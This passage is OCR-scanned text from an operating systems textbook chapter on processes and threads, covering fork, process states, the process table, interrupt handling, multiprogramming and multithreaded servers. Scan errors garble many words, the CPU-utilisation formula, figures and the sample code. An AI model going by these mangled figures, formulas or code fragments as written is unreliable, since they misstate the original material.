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Now imagine that the computer scientist's son comes running in screaming 
his head off. saying that he has been stung by a bee . The computer scientist re
cords where he was in the recipe (the state of the current process is saved), gets 
out a first aid book, and begins following the directions in it Here we see the 
processor being switched from one process (baking) to a higher-priority process 
(administering medical care), each having a different program (recipe versus first 
aid book). When the bee sting has been taken care of, the computer scientist goes 
back to his cake, continuing at the point where he left off. 

The key idea here is that a process is an activity of some kind. It has a pro
gram, input, output, and a state . A single processor may be shared among several 
processes, wi th some scheduling algori thm being used to determine whe n to stop 
work on one process and service a different one. 

It is worth noting that i f  a program is running twice, it counts as two proc
esses. For example, i t  i s  often possible to start a word processor twice or print two 
files at the same time i f  two printers are available. The fact that two running proc
esses happen to be running the same program does not matter; they are distinct 
processes.  The operating system may be able to share the code between them so 
only one copy is in memory, but that is a technical detail that does not change the 
conceptual situation of two processes running. 

2.1.2 Process Creation 

Operating systems need some way to create processes. In ve ry simple sys
tems, or in systems designed for running only a single application (e .g., the con
troller in a microwave oven), it may be possible to have all the processes that will 
ever be needed be prese nt when the system comes up. In general-purpose sys
tems, however, some way is needed to create and tenninate processes as needed 
during operation. We will now look at some of the issues. 

There are four principal events that cause processes to be created: 

1. System initialization. 

2. Execution of a process creation system call by a running process. 

3. A user request to create a new process. 

4. Initiation of a batch job. 

When an operating system is booted, typically several proce sses are created. 
Some of these are foreground processes, that is, processes that interact with 
(human) users and per fonn work for them. Others are background processes, 
which afe not associated with particular users, but i nstead have some specific 
function. For example, one background process may be designed to accept incom
ing e-mail, sleeping most of the day but suddenly springing to life when i ncoming 
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e-mail arrives. Another background process may be designed to accept i ncoming 
requests for Web pages hosted on that machine, waking up when a request am ves 
to service the request Processes that stay i n  the background to handle some 
activity such as e -mail, Web pages, news, printing, and so on are called daemons. 
Large systems commonly have dozens of them. In UNIX, the ps program can be 
used to list the running processes. In Windows, the task manager can be used. 

In addi tion to the processes created at boot time, new processes can be created 
afterward as well. Often a running process will issue system calls to create one Of 

more new processes to help i t  do its job. Creating new processes i s  particularly 
useful when the work to be done can easily be formulated in terms of several re
lated, but otherwise independent interacting processes.  For example, i f  a large 
amount of data is being fe tched over a network for subsequent processing, i t  may 
be convenient to create one pro.cess to fe tch the data and put them i n  a shared buf
fer while a second process removes the data i tems and processes them. On a mul
tiprocessor, allowing each process to run on a different CPU may also make the 
job go faster. 

In interactive systems, users can start a program by typing a command or 
(double) clicking an icon. Taking ei ther of these actions starts a new process and 
runs the selected program i n  it.  In command-based UNIX systems running X, the 
new process takes over the window in which i t  was started. In Microsoft Win
dows, when a process i s  started i t  does not have a window, but i t  can ere ate one 
(or more) and most do. In both systems. users may have multiple windows open 
at once, each running some process. Using the mouse, the user can select a win
dow and interact with the process, for example, providing input when needed. 

The last situation in which processes are created applies only to the batch sys
tems found on large mainframes. Here users can submit batch jobs to the system 
(possibly remotely). When the operating system decides that i t  has the resources 
to run another job, i t  creates a new process and runs the next job from the input 
queue in it. 

Technically. in all these cases, a new process is created by having an existing 
process execute a process creation system call. That process may be a running 
user process, a system process invoked from the keyboard or mouse, or a batch 
manager process. What that process does is execute a system call to create the 
new process. This system call tells the operating system to create a new process 
and indicates, directly or indirectly, which program to run in it .  

In UNIX, there i s  only one system call to create a new process: fork. This call 
creates an exact clone of the calling process. After the fork, the two processes, the 
parent and the child, have the same memory image, the same environment strings, 
and the same open files. That is all there is .  Usually, the child process then exe
cutes execve or a similar system call to change i ts memory image and run a new 
program. For example . when a user types a command, say, sort, to the shell, the 
shell forks off a child process and the child executes sort. The reason for this 
two-ste p process is to allow the child to manipulate its file descriptors after the 
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fork but before the execve in order to accomplish redirection of standard input, 
standard output, and standard error. 

In Windows, in contrast, a single Win32 function call, CreateProcess, hand
les both process creation and loading the correct program into the new process. 
This call has 10 parameterS, which include the program to be executed, the corn
mand�line parameterS to feed that program, vario�s secu�ty attribut�s� bi�s that 
control whether open files are inherited, priority mformatlOn, a specifIcatton of 
the window to be created for the process (if any), and a pointer to a structure in 
which information about the newly created process is returned to the caller. In ad
dition to CreateProcess, Win32 has about 100 other functions for managing and 
synchronizing processes and related topics. 

. 
In both UNIX and Windows, after a process is created, the parent and ChIld 

have their own distinct address spaces. If either process changes a word in its ad
dress space, the change is not visible to the other process. In UN�X, the chil�' s. in
itial address space is a copy of the parent's, but there are defimtely two dIstInct 
address spaces involved; no writable memory is shared (some UNIX imple
mentations share the program text between the two since that cannot be modified). 
It is, however, possible for a newly created process to share some of its creator's 
other resources, such as open files. In Windows, the parent's and child's address 
spaces are different from the start. 

2.1.3 Process Termination 

After a process has been created, it starts running and does whatever its job is. 
However, nothing lasts forever, not even processes. Sooner or later the new proc
ess will terminate, usually due to one of the following conditions: 

1 .  Normal exit (voluntary). 

2. Error exit (voluntary). 

3. Fatal error (involuntary). 

4. Killed by another process (involuntary). 

Most processes terminate because they have done their work. When a compi-
1er has compiled the program given to it, the compiler executes a system call to 
tell the operating system that it is finished. This call is exit in UNIX and ExitProc
ess in Windows. Screen-oriented programs also support voluntary termination. 
Word processors, Internet browsers and similar programs always have an icon or 
menu item that the user can click to tell the process to remove any temporary files 
it has open and then terminate. 

The second reason for termination is that the process discovers a fatal error. 
For example, if a user types the command 

cc foo.c 
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to compile the program foo.c and no such file exists, the compiler simply exits. 
Screen-oriented interactive processes generally do not exit when given bad pa
rameters. Instead they pop up a dialog box and ask the user to try again. 

The third reason for termination is an error caused by the process, often due to 
a program bug. Examples include executing an illegal instruction, referencing 
nonexistent memory, or dividing by zero. In some systems (e.g., UNIX), a process 
can tell the operating system that it wishes to handle certain errors itself, in which 
case the process is Signaled (interrupted) instead of tenninated when one of the er
rors occurS. 

The fourth reason a process might terminate is that the process executes a sys
tem can telling the operating system to kill some other process. In UNIX this call 
is kilL The corresponding Win32 function is TerminateProcess. In both cases, the 
killer must have the necessary .authorization to do in the killee. In some systems, 
when a process terminates, either voluntarily or otherwise, all processes it created 
are immediately killed as welL Neither UNIX nor Windows works this way, how
ever. 

2.1.4 Process Hierarchies 

In some systems, when a process creates another process, the parent process 
and child process continue to be associated in certain ways. The child process can 
itself create more processes, fonning a process hierarchy. Note that unlike plants 
and animals that use sexual reproduction, a process has only one parent (but zero, 
one, two, or more children). 

In UNIX, a process and all of its children and further descendants together 
form a process group. When a user sends a signal from the keyqoard, the signal is 
delivered to all members of the process group currently associated with the key
board (usually all active processes that were created in the current window). Indi
vidually, each process can catch the signal, ignore the signal, or take the default 
action, which is to be killed by the signaL 

As another example of where the process hierarchy plays a role, let us look at 
how UNIX initializes itself when it is started. A special process, calIed init, is 
present in the boot image. When it starts running, it reads a file telling how many 
terminals there are. Then it forks off one new process per terminal. These proc
esses wait for someone to log in. If a login is successful, the login process exe
cutes a shell to accept commands. These commands may start up more processes, 
and so forth. Thus, all the processes in the whole system belong to a single tree, 
with init at the root. 

In contrast, Windows has no concept of a process hierarchy. All processes are 
equal. The only hint of a process hierarchy is that when a process is created, the 
parent is given a special token (called a handle) that it can use to control the 
child. However, it is free to pass this token to some other process, thus invalidat
ing the hierarchy. Processes in UNIX cannot disinherit their children. 
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2.1.5 Process States 

Although each process is an independent entity, with its own program counter 
and internal state, processes often need to interact with other processes. One proc
ess may generate some output that another process uses as input. In the shell 
command 

cat chapter1 chapter2 chapter3 ! grep tree 

the first process, running cat, concatenates and outputs three files. The second 
process, running grep, selects all lines containing the word "tree." Depending on 
the relative speeds of the two processes (which depends on both the relative com
plexity of the programs and how much CPU time each one has had), it may hap
pen that grep is ready to run, but there is no input waiting for it. It must then 
block until some input is available. 

When a process blocks, it does so because logically it cannot continue, typi
cally because it is waiting for input that is not yet available. It is also possible for 
a process that is conceptually ready and able to run to be stopped because the op
erating system has decided to allocate the CPU to another process for a while. 
These two conditions are completely different. In the first case, the suspension is 
inherent in the problem (you cannot process the user's command line until it has 
been typed). In the second case, it is a technicality of the system (not enough 
CPUs to give each process its own private processor). In Fig. 2-2 we see a state 
diagram showing the three states a process may be in: 

. 

1. Running (actually using the CPU at that instant). 
2. Ready (runnable; temporarily stopped to let another process run). 

3. Blocked (unable to run until some external event happens). 

Logically> the first two states are similar. In both cases the process is willing to 
run, only in the second one, there is temporarily no CPU available for it. The third 
state is different from the first two in that the process cannot run, even if the CPU 
has nothing ·else to do. 

� 
1�2 

�--- ---� 

1. Process blocks for input 
2. Scheduler picks another process 
3. Scheduler picks this process 
4. Input becomes available 

Figure 2·2. A process can be in running, blocked, or ready state. Transitions 
between these states are as shown. 

Four transitions are possible among these three states, as shown. Transition 1 
occurs when the operating system discovers that a process cannot continue right 
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now. In some systems the process can execute a system can, such as pause, to 
get into blocked state. In other systems, induding UNIX, when a process reads 
from a pipe or special file (e.g., a tenninal) and there is no input available, the 
process is automatically blocked. 

Transitions 2 and 3 are caused by the process scheduler, a part of the operat
ing system, without. the process even knowing about them. Transition 2 occurs 
when the scheduler decides that the running process has run long enough, and it is 
time to let another process have some CPU time. Transition 3 occurs when all the 
other processes have had their fair share and it is time for the first process to get 
the CPU to run again. The subject of scheduling, that is, deciding which process 
should run when and for how long, is an important one; we will look at it later in 
this chapter. Many algorithms have been devised to try to balance the competing 
demands of efficiency for the system as a whole and fairness to individual proc
esses. We will study some of them later in this chapter. 

Transition 4 occurs when the external event for which a process was waiting 
(such as the arrival of some input) happens. If no other process is running at that 
instant, transition 3 will be triggered and the process will start running. Otherwise 
it may have to wait in ready state for a little while until the CPU is available and 
its turn comes. 

Using the process model, it becomes much easier to think about what is going 
on inside the system. Some of the processes run programs that carry �ut com
mands typed in by a user. Other processes are part of the system and handle tasks 
such as carrying out requests for file services or managing the details of running a 
disk or a tape drive. When a disk intenupt occurs, the system makes a decision to 
stop running the current process and run the disk process, which was blocked 
waiting for that interrupt Thus, instead of thinking about interrupts, we can think 
about user processes, disk processes, terminal processes, and so on, which block 
when they are waiting for something to happen. When the disk has been read or 
the character typed, the process waiting for it is unblocked and is eligible to run 
again. 

This view gives rise to the model shown in Fig. 2-3. Here the lowest level of 
the operating system is the scheduler, with a variety of processes on top of it. All 
the interrupt handling and details of actually starting and stopping processes are 
hidden away in what is here called the scheduler, which is actually not much 
code. The rest of the operating system is nicely structured in process form. Few 
real systems are as nicely structured as this, however. 

2.1.6 Implementation of Processes 

To implement the process model, the operating system maintains a table (an 
array of structures), called the process table, with one entry per process. (Some 
authors can these entries process control blocks.) This entry contains important 
information about the process' state, including its program counter, stack pointer, 
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Processes 

0 1 n - 2  n - 1  
. . .  

Scheduler 

Figure 2.3. The lowest layer of a process-structured 
.
operating system handles 

intenupts and scheduling. Above that layer are sequentIal processes. 

memory allocation, the status of its open files, its accounting and scheduling in
formation, and everything else about the process that must be �aved when the 
process is switched from running to ready or blocked state so that It can be restart-
ed later as if it had never been stopped. . 

Figure 2A shows some of the key fields in a typical system. The fields III the 
first column relate to process management. The other two relate to memory I?an
agement and file management, respectively. It should be noted �hat precl�ely 
which fields the process table has is highly system dependent, but thIS figure gIves 
a genera! idea of the kinds of infonnation needed. 

Process management Memory management File management 
Registers Pointer to text segment info Root directory 
Program counter Pointer to data segment info Working directory 
Program status word Pointer to stack segment info File descriptors 
Stack pointer User 10 
Process state Group l D  
Priority 
Scheduling parameters 
Process 10 
Parent process 
Process group 
Signals 
Time when process started 
CPU time used 
Children's CPU time 
Time of next alarm 

Figure 2-4. Some of the fields of a typical process table entry. 

Now that we have looked at the process table, it is possible to explain a little 
more about how the illusion of multiple sequential processes is maintained on one 
(or each) CPU. Associated with each I/O class is a location (typically at � fixed 
location near the bottom of memory) called the interrupt vector. It contams the 
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address of the interrupt service procedure. Suppose that user process 3 is running 
when a disk interrupt happens. User process 3's program counter, program status 
word, and sometimes one or more registers are pushed onto the (current) stack by 
the interrupt hardware. The computer then jumps to the address specified in the 
interrupt vector. That is all the hardware does. From here on, it is up to the soft
ware, in particular, the interrupt service procedure. 

All interrupts start by saving the registers, often in the process table entry for 
the current process. Then the information pushed onto the stack by the interrupt is 
removed and the stack pointer is set to point to a temporary stack used by the 
process handler. Actions such as saving the registers and setting the stack painter 
cannot even be expressed in high-level languages such as C, so they are per
fonned by a small assembly language routine, usually the same one for all inter
rupts since the work of saving the registers is identical, no matter what the cause 
of the interrupt is. 

When this routine is finished, it calls a C procedure to do the rest of the work 
for this specific interrupt type. (We assume the operating system is written in C, 
the usual choice for all real operating systems.) When it  has done its job, possibly 
making some process now ready, the scheduler is called to see who to run next. 
After that, control is passed back to the assembly language code to load up the 
registers and memory map for the now-current process and start it running. Inter
rupt handling and scheduling are summarized in Fig. 2-5. It is worth noting that 
the details vary somewhat from system to system. 

1 .  Hardware stacks program counter, etc. 
2. Hardware loads new program counter from interrupt vector. 
3. Assembly language procedure saves registers. 
4. Assembly language procedure sets up new stack. 
5. C interrupt service runs (typically reads and buffers input). 
6. Scheduler decides which process is to run next. 
7. C procedure returns to the assembly code. 
8. Assembly language procedure starts up new current process. 

Figure 2-5. Skeleton of what the lowest level of the operating system does 
when an interrupt occurs. 

When the process finishes, the operating system displays a prompt character and 
waits for a new command. "\¥hen it receives the command, it loads a new program 
into memory, overwriting the first one. 

2.1.7 Modeling Multiprogramming 

When multiprogramming is used, the CPU utilization can be improved. 
Crudely put, if the average process computes only 20% of the time it is sitting in 
memory, with five processes in memory at once, the CPU should be busy all the 
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time. This model is unrealistically optimistic, however, since it tacitly assumes 
that all five processes will never be waiting for I/O at the same time. 

A better model is to look at CPU usage from a probabilistic viewpoint. Sup
pose that a process spends a fraction p of its time waiting for IJO to complete. 
With n processes in memory at once, the probability that all n processes are wait
ing for 110 (in which case the CPU will be idle) is p n. The CPU utilization is then 
given by the formula 

CPU utilization ::::: 1 - pll 

Figure 2-6 shows the CPU utilization as a function of n, which is called the 
degree of multiprogramming. 

20% I/O wait 
'E 100 • 
" • 80 � 
:§.. 
c � 60 

� 40 
0 
:0 20 n. 
0 

0 2 3 4 5 6 7 8 9 10 
Degree of multiprogramming 

Figure 2-6. CPU utilization as a function of the number of processes in memory. 

From the figure it is clear that if processes spend 80% of their time waiting for 
I/O, at least 10 processes must be in memory at once to get the CPU waste below 
10%. When you realize that an interactive process waiting for a user to type some
thing at a terminal is in I/O wait state, it should be clear that I/O wait times of 
80% and more are not unusual. But even on servers, processes doing a lot of disk 
I/O will often have this percentage or more. 

For the sake of complete accuracy, it should be pointed out that the proba
bilistic model just described is only an approximation. It implicitly assumes that 
all n processes are independent, meaning that it is quite acceptable for a system 
with five processes in memory to have three running and two waiting. But with a 
single CPU, we cannot have three processes running at once, so a process becom
ing ready while the CPU is busy will have to wait. Thus the processes are not in
dependent. A more accurate model can be constructed using queueing theory, but 
the point we are making-multiprogramming lets processes use the CPU when it 
would otherwise become idle-is, of course, still valid, even if the true curves of 
Fig. 2-6 are slightly different from those shown in the figure. 

I » 
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Even though the model of Fig. 2-6 is simple-minded, it can nevertheless be 
used to make specific, although approximate, predictions about CPU performance. 
Suppose, for example, that a computer has 5 1 2  MB of memory, with the operating 
system taking up 128 MB and each user program also taking up 128 MB . These 
sizes al!ow three user programs to be in memory at once. With an 80% average 
I/O walt, we have � CPU utilization (ignoring operating system overhead) of 
1 - 0.83 or about 49%. Adding another 5 1 2  MB of memory allows the system to 
go from three-way multiprogramming to seven-way mUltiprogramming, thus rais
ing the CPU utilization to 79%. In other words, the additional 5 1 2  MB will raise 
the throughput by 30%. 

Adding yet another 512 MB would only increase CPU utilization from 79% to 
9 1  %, thus raising the throughput by only another 12%. Using this model the com
puter's owner might decide that the flrst addition is a good investment but that the 
second is not. 

2.2 THREADS 

In traditional operating systems, each process has an address space and a sin
gle thread of control. In fact, that is almost the deflnition of a process. Neverthe
less, there are frequently situations in which it is desirable to have multiple 
threads of control in the same address space running in quasi-parallel, � though 
they were (almost) �eparate processes (except for the shared address space). In 
the foHowing sections we will discuss these situations and their implications. 

2.2.1 Thread Usage 

Why would anyone want to have a kind of process within a process? It turns 
out there are several reasons for having these miniprocesses, called threads. Let 
us now examine some of them. The main reason for having threads is that in many 
applications, multiple activities are going on at once. Some of these may block 
from time to time. By decomposing such an application into multiple sequential 
threads that run in quasi-parallel, the programming model becomes simpler. 

We have seen this argument before. It is precisely the argument for having 
processes. Instead of thinking about interrupts, timers, and context switches, we 
can think about parallel processes. Only now with threads we add a new element: 
the ability for the parallel entities to share an address space and all of its data 
among themselves. This ability is essential for certain applications, which is why 
having multiple processes (with their separate address spaces) will not work. 

A second argument for having threads is that since they are lighter weight 
than processes, they are easier (i.e., faster) to create and destroy than processes. 
In many systems, creating a thread goes 10-100 times faster than creating a proc
ess. When the number of threads needed changes dynamically and rapidly, this 
property is useful to have. 
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A third reason for having threads is also a performance argument. Threa�s 
yield no performance gain when all of them are CPU bound, but when the� �s 
substantial computing and also substantial lIO, having threads allows these actIVI
ties to overlap, thus speeding up the application. 

Finally, threads are useful on systems with multiple CPUs, where real paral
lelism is possible. We will come back to this issue in Ch

,
ap. 8. 

It is easiest to see why threads are useful by lookmg at some concrete ex
amples. As a first example, consider a word processor. Word processors u.sual�y 
display the document being created on the screen formatted exactly as It WIll 
appear on the printed page. In particular, all the line br�aks and page breaks are 
in their correct and final positions, so that the user can lllspect them and change 
the document if need be (e.g., to eliminate widows and orphans-incomplete top 
and bottom lines on a page, which are considered esthetically unpleasing): . , Suppose that the user is writing a book. From the author's point of VIew, It IS 
easiest to keep the entire book as a single file to make it easier to search for to
pics, perfonn global substitutions, and so on. Alternatively, each chapter mig�t �e 
a separate file. However, having every section and subsection as a

.
separate fr!e IS 

a real nuisance when global changes have to be made to the entIre book, smce 
then hundreds of files have to be individually edited. For example, if proposed 
standard xxxx is approved just before the book goes to press, all occurrences of 
"Draft Standard xxxx" have to be changed to "Standard xxxx" at the last minute. 
If the entire book is one file, typically a single command can do all the substitu
tions. In contrast, if the book is spread oyer 300 files, each one must be edited 
separately. 

Now consider what happens when the user suddenly deletes one sentence 
from page 1 of an 800-page document. After checking the changed page for cor
rectness, he now wants to make another change on page 600 and types in a com
mand telling the word processor to go to that page (possibly by searching for a 
phrase occurring only there). The word processor is now forced to reformat �he 
entire book up to page 600 on the spot because it does not know what the first hne 
of page 600 will be until it has processed all the previous pages. There may be a 
substantial delay before page 600 can be displayed, leading to an unhappy user. 

Threads can help here. Suppose that the word processor is written as a two
threaded program. One thread interacts with the user and the other handles refor
matting in the background. As soon as the sentence is deleted from page 1 ,  the 
interactive thread tens the reformatting thread to reformat the whole book. Mean
while, the interactive thread continues to listen to the keyboard and mouse and 
responds to simple commands like scrolling page 1 while the other thread is com
puting madly in the background. With a little luck, the reformatti�g will be com
pleted before the user asks to see page 600, so it can be displayed mstantly. 

While we are at it, why not add a third thread? Many word processors have a 
feature of automatically saving the entire file to disk every few minutes to protect 
the user against losing a day's work in the event of a program crash, system crash, 
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or power failure. The third thread can handle the disk backups without interfering 
with the other two. The situation with three threads is shown in Fig. 2-7. 

Kernel 
Disk 

Figure 2·7. A word processor with three threads. 

If the program were single-threaded, then whenever a disk backup started, 
commands from the keyboard and mouse would be ignored until the backup was 
finished. The user would surely perceive this as sluggish performance. Alterna
tively, keyboard and mouse events could interrupt the disk backup, allowing good 
performance but leading to a complex interrupt-driven programming model. With 
three threads, the programming model is much simpler. The first thread just 
interacts with the user. The second thread reformats the document when told to. 
The third thread writes the contents of RAM to disk periodically. 

It should be clear that having three separate processes would not work here 
because all three threads need to operate on the document. By having three 
threads instead of three processes, they share a common memory and thus all have 
access to the document being edited. 

An analogous situation exists with many other interactive programs. For ex
ample, an electronic spreadsheet is a program that allows a user to maintain a ma
trix, some of whose eJements are data provided by the user. Other elements are 
computed based on the input data using potentially complex formulas. When a 
user changes one element, many other elements may have to be recomputed. By 
having a background thread do the recomputation, the interactive thread can allow 
the user to make additional changes while the computation 'Is going on. Similarly, 
a third thread can handle periodiC backups to disk on its own. 

Now consider yet another example of where threads are useful: a server for a 
World Wide Web site. Requests for pages come in and the requested page is sent 
back to the client. At most Web sites, some pages are more commonly accessed 
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than other pages. For example, Sony's horne page is accessed far more than a 
page deep in the tree containing the technical specifications of any particular cam
corder. Web servers 'use this fact to improve performance by maintaining a collec
tion of heavily used pages in main memory to eliminate the need to go to disk to 
get them. Such a collection is called a cache and is used in many other contexts as 
well. We saw CPU caches in Chap_ I, for example. 

One way to organize the Web server is shown in Fig. 2-8(a). Here one thread, 
the dispatcher, reads incoming requests for work from the network. After exa
mining the request, it chooses an idle (i.e., blocked) worker thread and hands it 
the request, possibly by writing a pointer to the message into a special word asso� 
ciated with each thread. The dispatcher then wakes up the sleeping worker, mov
ing it from blocked state to ready state. 

Web server process 

Dispatcher thread 

Worker thread 

Web page cache 

Kernel 
L---4---------------� 

Network 
connection 

Figure 2-8. A multithreaded Web server. 

User 
space 

} Kernel 
space 

When the worker wakes up, it checks to see if the request can be satisfied 
from the Web page cache, to which all threads have access. If not, it starts a read 
operation to get the page from the disk and blocks until the disk operation com
pletes. When the thread blocks on the disk operation, another thread is chosen to 
run, possibly the dispatcher, in order to acquire more work, or possibly another 
worker that is now ready to run. 

This model allows the server to be written as a collection of sequential 
threads. The dispatcher's program consists of an infinite loop for getting a work 
request and handing it off to a worker. Each worker'S code consists of an infinite 
loop consisting of accepting a request from the dispatcher and checking the Web 
cache to see if the page is present If so, it is returned to the client, and the worker 
blocks waiting for a new request. If not, it gets the page from the disk, returns it 
to the client, and blocks waiting for a new request. 
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A rough outline of the code is given in Fig. 2-9. Here, as in the rest of this 
book, TRUE is assumed to be the constant 1 .  Also, brif and page are structures 
appropriate for holding a work request and a Web page, respectively. 

while (TRUE) ( 
geLnexLrequest(&buf); 
hand off_ work(&buf); 

(a) 

while (TRUE) ( 
waiL for _ work(&buf) 
looLfor _page_in_cache(&buf, &page); 
if (page_noLin_cache(&page)) 

read_page_from_disk(&buf, &page); 
return_page(&page); 

(b) 

Figure 2-9. A rough outline of the code for Fig. 2-8. ea) Dispatcher thread. (b) 
Worker thread. . 

Consider how the Web server could be written in the absence of threads. One 
possibility is to have it operate as a single thread. The main loop of the Web ser
ver gets a request, examines it, and carries it out to completion before getting the 
next one. While waiting for the disk, the server is idle and does not process any 
other incoming requests. If the Web server is running on a dedicated machine, as 
is commonly the case, the CPU is simply idle while the Web server is Waiting for 
the disk. The net result is that many fewer requests/sec can be processed. Thus 
threads gain considerable performance, but each thread is programmed sequential
ly, in the usual way. 

So far we have seen two possible designs: a multithreaded Web server and a 
single-threaded Web server. Suppose that threads are not available but the system 
designers find the perfonnance loss due to single threading unacceptable. If a 
nonblocking version of the read system call is available, a third approach is pos
sible. When a request comes in, the one and only thread examines it. If it can be 
satisfied from the cache, fine, but if not, a nonblocking disk operation is started. 

The server records the state of the current request in a table and then goes and 
gets the next event. The next event may either be a request for new work or a 
reply from the disk about a previous operation. If it is new work, that work is 
started. If it is a reply from the disk, the relevant infonnation is fetched from the 
table and the reply processed. With nonblocking disk I/O, a reply probably will 
have to take the fonn of a signal or interrupt. 

In this design, the "sequential process" model that we had in the first two 
cases is lost. The state of the computation must be explicitly saved and restored in 
the table every time the server switches from working on one request to another. 
In effect, we are simulating the threads and their stacks the hard way. A design 
like this, in which each computation has a saved state, and there exists some set of 
events that can occur to change the state is called a finite�state machine. This 
concept is widely used throughout computer science. 
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It should nOW be clear what threads have to offer. They make it possible to re
tain the idea of sequential processes that make blocking system calls (e.g.,

. 
for dis� 

I/O) and still achieve parallelism. Blocking system calls make prograrnmm? eaSl
er, and parallelism improves performance. The single-threaded serve

,
r retams the 

simplicity of blocking system calls but gives up performance. Th� thIrd appro�ch 
achieves high performance through parallelism but uses nonblocI?ng �all� and lll
terrupts and is thus is hard to program. These models afe summanzed 10 FIg. 2-10. 

I Model Characteristics 

Threads Parallelism, blocking system calls 

Single-threaded process No parallelism, blocking system calls 

Finite-state machine Parallelism, nonblocking system calls, interrupts 

Figure 2-10. Three ways to construct a server. 

A third example where threads are useful is in applications that must process 
very large amounts of data. The normal approach is to r�ad in � block of d�ta, 
process it, and then write it out again. The probl�m here IS that l� on�y blockmg 
system cans are available, the process blocks whIle data are commg .1fi and da�a 
are going out. Having the CPU go idle when there is lots of computmg to do IS 
clearly wasteful and should be avoided if possible. 

. '  Threads offer a solution. The process could be structured wIth an Input thread, 
a processing thread, and an output thread. The input thr�ad reads data into an 
input buffer. The processing thread takes data out of the Input buff�r, processes 
them, and puts the results in an output buffer. The outp?t buffer wntes �ese re
sults back to disk. In this way, input, output, and processIng can all be gOIng on at 
the same time. Of course, this model only works if a system call blocks only the 
calling thread, not the entire process. 

2.2.2 The Classical Thread Model 

Now that we have seen why threads might be useful and how they can be 
used let us investioate the idea a bit more closely. The process model is based on 
two independent c;ncepts: resource grouping and execution. Sometimes it is use
ful to separate them; this is where threads come in. First we will look at the classi
cal thread model; after that we will examine the Linux thread model, which blurs 
the line between processes and threads, 

One way of looking at a process is that it is a way to group related resources 
together. A process has an address space containing program text and data, as 
well as other resources. These resource may include open files, child processes, 
pending alarms, signal handlers, accounting information, and more . . By putting 
them together in the form of a process, they can be managed more easIly. 
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The other concept a process has is a thread of execution, usually shortened to 
just thread. The thread has a program counter that keeps track of which instruc
tion to execute next. It has registers, which hold its current working variables. It 
has a stack, which contains the execution history, with one frame for each proce
dure called but not yet returned from. Although a thread must execute in some 
process, the thread and its process are different concepts and can be treated sepa
rately. Processes are used to group resources together; threads are the entities 
scheduled for execution on the CPU. 

Wh;'lt threads add to the process model is to allow multiple executions to take 
place in the same process environment, to a large degree independent of one an
other. Having multiple threads running in parallel in one process is analogous to 
having multiple processes running in parallel in one computer. In the former case, 
the threads share an address space and other resources. In the latter case, proc
esses share phYSical memory, disks, printers, and other resources. Because threads 
have some of the properties of processes, they are sometimes called lightweight 
processes. The term multithreading is also used to describe the situation of al
lowing multiple threads in the same process. As we saw in Chap. 1 ,  some CPUs 
have direct hardware support for multithreading and allow thread switches to hap� 
pen on a nanosecond time scale. 

In Fig. 2-I 1(a) we see three traditional processes. Each process has its own 
address space and a single thread of control. In contrast, in Fig. 2-I1(b/we see a 
single process with three threads of control. Although in both cases we have three 
threads, in Fig. 2-1 1 (a) each of them operates in a different address space, where
as in Fig. 2-11 (b) all three of them share the same address space. 

Process 1 Procefs 1 Pro�ss 1 Process 
, 

�� 1 
User , space 

Thread 
Kernel { 
space Kernel Kernel 

(a) (b) 

Figure 2-11. (a) Three processes each with one thread. (b) One process with 
three threads. 

When a multithreaded process is run on a single-CPU system, the threads take 
turns running. In Fig. 2-1, we saw how mUltiprogramming of processes works. 
By switching back and forth among multiple processes, the system gives the 
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illusion of separate sequential processes running in paralleL Multithreading works 
the same way. The CPU switches rapidly back and forth among the threads, pro
vidio<:r the illusion that the threads are running in paranel, albeit on a slower CPU 
than 7he real one. With three compute-bound threads in a process, the threads 
would appear to be running in parallel, each one on a CPU with one-third the 
speed of the real CPU. 

Different threads in a process are not as independent as different processes. 
All threads have exactly the same address space, which means that they also share 
the same global variables. Since every thread can access every memory address 
within the process' address space, o�e thread can read, write, or even wip� o�t �n
other thread's stack. There is no protection between threads because (1)  It IS Im
possible, and (2) it should not be necessary. Unlike different processes, whic

.
h 

may be from different users and which may be hostile to one anoth�r, a process IS 
always owned by a single user, who has presumably created mUltlple threads so 
that they can cooperate, not fight. In addition to sharing an address space, all the

. threads can share the same set of open files, child processes, alarms, and signals, 
an so on, as shown in Fig. 2-12. Thus the organization of Fig. 2-11(a) would be 
used when the three processes are essentially unrelated, whereas Fig. 2-11(b) 
would be appropriate when the three threads are actually part of the same job and 
afe actively and closely cooperating with each other. 

Per process items 
Address space 
Global variables 
Open files 
Child processes 
Pending alarms 
Signals and signal handlers 
Accounting information 

Per thread items 
Program counter 
Registers 
Stack 
State 

Figure 2--12. The first column lists some items shared by an threads in a proc
ess. The second one lists some items private to each thread. 

The items in the first column are process properties, not thread properties. For 
example, if one thread opens a file, that fIle is visible to the other thre�ds in th� 
process and they can read and write it. This is logical, since the process IS the umt 
of resource management, not the thread. If each thread had its own address space, 
open files, pending alanns, and so on, it would be a separate process. What we are 
trying to achieve with the thread concept is the ability for multiple threads of ex
ecution to share a set of resources so that they can work together closely to per
form some task. 

Like a traditional process (i.e., a process with only one thread), a thread can 
be in any one of several states: running, blocked, ready, or terminated. A running 
thread currently has the CPU and is active. A blocked thread is waiting for some 

1 
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event to unblock it. For example, when a thread performs a system call to read 
from the keyboard, it is blocked until input is typed. A thread can block waiting 
for some external event to happen or for some other thread to unblock it. A ready 
thread is scheduled to run and will as soon as its tum comes up. The transitions 
between thread states are the same as the transitions between process states and 
are illustrated in Fig.- 2-2. 

It is important to realize that each thread has its own stack, as illustrated in 
Fig. 2-13. Each thread's stack contains one frame for each procedure caned but 
not yet returned from. This frame contains the procedure' s  local variables and the 
return address to use when the procedure call has finished. For example, if proce
dure X calls procedure Y and Y calls procedure Z, then while Z is executing, the 
frames for X, Y, and Z will all be on the stack. Each thread will generally call dif
ferent procedures and a thus have a different execution history. This is why each 
thread needs its own stack. 

Thread 1's 
stack 

Thread 2 

Thread 1 Thread 3 

Process 

-....+---t--Thread 3's stack 

Kernel 

Figure 2-13. Each thread has its own stack. 

When multithreading is present, processes normally start with a single thread 
present. This thread has the ability to create new threads by calling a library pro
cedure, for example, thread_create. A parameter to thread_create typically 
specifies the name of a procedure for the new thread to run. It is not necessary (or 
even possible) to specify anything about the new thread's address space, since it 
automatically runs in the address space of the creating thread. Sometimes threads 
are hierarchical, with a parent-child relationship, but often no such relationship 
exists, with all threads being equal. With or without a hierarchical relationship, 
the creating thread is usually returned a thread identifier that names the new 
thread. 

When a thread has finished its work, it can exit by calling a library procedure, 
say, thread_exit. It then vanishes and is no longer schedulable. In some thread 
systems, one thread can wait for a (specific) thread to exit by calling a procedure, 
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for example, thread_join. This procedure blocks the calling thread until a (specif
